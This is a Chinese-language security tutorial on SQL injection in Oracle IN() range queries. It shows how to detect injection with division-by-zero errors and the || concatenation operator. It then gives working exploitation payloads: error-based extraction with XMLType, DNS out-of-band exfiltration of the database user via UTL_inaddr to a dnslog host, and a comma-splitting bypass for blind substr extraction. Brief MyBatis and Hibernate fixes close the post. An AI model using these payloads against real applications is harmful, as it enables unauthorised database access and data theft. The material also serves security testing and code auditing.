Oracle注入简单挖掘—范围查询in

  • A+

关于范围查询in

  在SQL语言中,in主要用于范围精准查询。例如下⾯的SQL语句,主要是查询年龄为18,28,38的⼈:
sql
select * from student where age in(18,28,38);

  既然跟数据库交互有关,⾃然⽽然就会想到SQL注入的防护问题,第⼀时间想到的方案就是预编译了。但是采⽤预编译执⾏SQL语句传⼊的参数不能作为SQL语句的⼀部分。那么范围查询in的场景更多的可能会直接使⽤拼接的⽅式进⾏交互。那么很可能存在SQL注⼊风险。
  以mybati框架为例,直接使用#注解的话,范围查询的结果会与理想的结果不一致:
xml
<select id="searchUser" parameterType=“String” resultType=“com.tk.codeAudit.sqlinject.mybatis.User">
select * from user where id in (#{_parameter})
</select>

  本来查询id范围在1和2的用户,只返回了一条记录:

图片.png

常见业务场景

  一般来说,存在多选框复选框的位置都可能是范围查询相关的业务,例如:
* 添加问题分类
* 区间查询(某几个地区的营业额)
* 经营范围查询
* ......

  从request请求来看,⼀般提交的数据中会使用逗号,分隔或者是List格式:
range=1,2,3,4
{"area":["GD","QD","ZJ"]}

挖掘利用思路

  简单的看⼀下Sqlmap的Payload,可以看到是通过闭合(),然后引⼊布尔或者时间盲注等方式进行利用的:

图片.png
  那么有时候没法闭合()上下文的情况下,或者存在安全防护的情况下,在Oracle数据库中⼜该如何进行注入判断呢?
  根据范围查询in()⾥的内容类型,同样的可以分为字符型和数字型。结合Oracle数据库的⼀些特性,可以利用如下⽅法进行判断。

注入点判断

in()中的内容为数字

  若是数字类型的话,可以考虑使用算数运算进⾏判断,最常用的就是除法了,在Oracle数据库中1/0会触发error,从⽽无法正常完成业务。例如下⾯的例子,正常情况下查询如下:

图片.png
  可以看到传递的内容是数字类型的,此时在不不闭合()的情况下,查询1,2/0,可以若存在注入点可成功进⾏除法运算,并触发报错:

图片.png

in()中的内容为字符串

  若是字符类型的话,可以尝试使用'||'结合1/0报错进⾏判断。例例如下面的例子,通过前端传入的Department参数来查询对应部⻔范围内容员⼯,正常情况下查询HR,TD返回⼈力和科技部的员工:

图片.png
  引⼊Oracle的拼接符’||’,查询H’||'R,TD,效果与上面的⼀一致,说明拼接符生效了:

图片.png
  同时在使用拼接符的时候,两个字符间可以使⽤expression表达式。那么查询H’||1/0||'R,TD,如果成功触发报错,也可以进一步说明注⼊点的存在:

图片.png
  通过上述方式即可简单的判断范围查询in注⼊了。即使在没有报错信息回显的情况下,也可以依据通⽤的错误返回页来判断1/0是否成功触发。

漏洞利用(获取数据)

  利⽤时有⼀个需要注意的点就是函数的使⽤问题。例如常⽤的字符串切割函数substr(‘str’,1,1),可以看到其各个参数是由逗号,分隔的。那么在范围查询in的注入场景中有可能会受到⼀定的影响
  以上述in()中的内容为字符的场景为例,通过拼接符和1/0已成功判断出注入点了,那么此时尝试获取当前数据库user,引入substr()和ascii()函数,查询Payload如下:
H'||case when ascii(substr('test',1,1))>0 then '' else 'tkswifty'
end||'R,TD

  大体含义为,当test字符串的第⼀位的ascii码⼤于0时,返回空与HR进⾏拼接(结果为HR),否则返回tkswifty进⾏拼接,这里毫⽆疑问返回是空,也就是查询的实际内容仍为HR,TD,在没有任何防护的情况下应该执行对应逻辑并正常返回,但是结果却报错了:

图片.png
  与之前假设的返回并不不一致,原因如下,正常情况下的SQL查询语句如下:
sql
select * from user where DEPARTMENT in ('HR','TD');

  因为HR和TD均为String类型,在查询时会使用’'包起来表示其是一个字符串,但是查看接⼝传参,传递的是HR,TD,是没有用''包起来的。
  那么很可能在服务器端进⾏了相关的处理,例如首先以逗号,进⾏行切割,然后存储到字符数组中,然后再使用’'将每一个数组元素包起来,再以逗号,进⾏连接,最后再进⾏查询。那么刚刚引入substr()和ascii()函数的Payload经过上述处理,再次进⾏SQL交互时可能就是这样了:
sql
select * from user where DEPARTMENT in ('H'||case when
ascii(substr('test'','1','1))>0 then '' else 'tkswifty' end||'R','TD');

  因为substr()中的参数也是使⽤逗号,进⾏连接,那么最后再切割时候也会参与处理,这时对应的’'并没有成对出现,从⽽导致了了SQL错误,⽆无法进⼀步利用。
  那么如何进⼀步获取敏敏感数据呢,结合上述场景,常见的有如下方法:

报错注入

  假设没有屏蔽报错信息的话,报错注入便是⼀个不错的选择,例如可以使⽤以下Payload:
sql
upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62)))

  使用XMLType结合拼接符’||’,在拼接符中间执行表达式,由于引⼊的函数不存在多个参数使用逗号连接的情况,成功获取到当前数据库⽤户名:

图片.png

带外请求

  如果数据库服务器可以通外⽹的话,使⽤带外注⼊也是一种方法。例如使用如下Payload,由于引入
的函数不存在多个参数使用逗号连接的情况,结合dnslog即可获取对应的内容:
sql
UTL_inaddr.get_host_address((select user from dual)||'.dnslog地址')

图片.png

考虑闭合切割后的上下文

  如果前面的方法不可行的话,那么就需要考虑闭合切割后的上下文了。还是前⾯的场景,服务器端进⾏了相关的处理,⾸先以逗号进⾏切割,然后将切割的内容以单引号''包围,最后传递到数据库进⾏SQL交互。
  例如我们传入以下payload:
sql
H'||case when ascii(substr(user,1,1))>0 then '' else 'tkswifty' end||'R,TD

  经过上述处理后,会变成如下样子,不满⾜足sql语法,从而无法进一步利用:
sql
select * from user where DEPARTMENT in ('H'||case when
ascii(substr(user','1','1))>0 then '' else 'tkswifty' end||'R','TD');

  可以利用Oracle连接符,尝试闭合逗号切割后的上下文,完成利用。
  既然要用到substr,主要是要补全substr的上下文,可以看到切割内容user以及步数是没有补全的:
sql
'H'||case when ascii(substr(user','1','1))>0 then '' else 'tkswifty' end||'R','TD'
````
&emsp;&emsp;思路如下,例如user'是不符合sql语法的,那么可以尝试让他转换成user'||'',这样既符合sql语法且跟user的含义是⼀样的(执行user函数的结果再与空字符进⾏拼接)。那么结合上⾯后端服务器的处理方式,可以进⾏如下转换:
sql
H'||case when ascii(substr(user||' 转换成==>>> 'H'||case when ascii(substr(user||'',
&emsp;&emsp;回到对应的注入场景,结合Oracle连接符进⾏补全:sql
'H'||case when ascii(substr(user||','||1||','||1||''))>0 then '' else 'tkswifty' end||'R','TD'
&emsp;&emsp;上述poc经过后端服务器处理转换后结果如下:sql
'H'||case when ascii(substr(user||'',''||1||'',''||1||'))>0 then '' else 'tkswifty' end||'R','TD'
&emsp;&emsp;经过处理后最终查询的sql语句为:sql
select * from SHIRO_LOGIN where DEPARTMENT in ('H'||case when ascii(substr(user||'',''||1||'',''||1||''))>0 then '' else 'tkswifty' end||'R','TD','TD');
```
  执行后成功解决语法问题并查询到相关结果:

图片.png
  此时只要修改poc中的substr切割位置即可得到完整的数据库⽤用户名了。使用其他多参数函数时同理。

其他

图片.png
  其他的数据库同样的也可以根据类似的思路进行拓展,例如MySQL,虽然MySQL1/0运算并不能触发报错,但是同样的可以结合报错注⼊的思想,引入对应的报错函数,例如updatexml,结合and,&& 等逻辑语句进行相应的漏洞判断。也可以使用考虑时间延迟的⽅式综合利用。
  修复的话除了过滤输入以外,相关的框架也提供了对应的方法,例如mybaits使用了自带的循环指令foreach来解决SQL语句动态拼接的问题
xml
<select id="searchUser" parameterType="String" resultType="com.tk.codeAudit.sqlinject.mybatis.User">
select * from user where id in
<foreach collection="array" index="index" item="item" open="(" separator="," close=")">
#{item}
</foreach>
</select>

  Hibernate同样也提供了相应的处理方式:
java
Criteria criteria = session.createCriteria(User.class);
List<User> resIn = criteria.add(Restrictions.in("name", new String[] {"test"})).list();

相关推荐: Java代码审计之平行越权

  平行越权的业务场景主要是Web 应用程序接收到用户请求,对某条数据进行业务操作时(例如编辑收货地址),没有判断数据的所属人,或判断数据所属人时,从用户提交的request参数(用户可控数据)中获取(不可信)。访问数据层(dao)的所有的…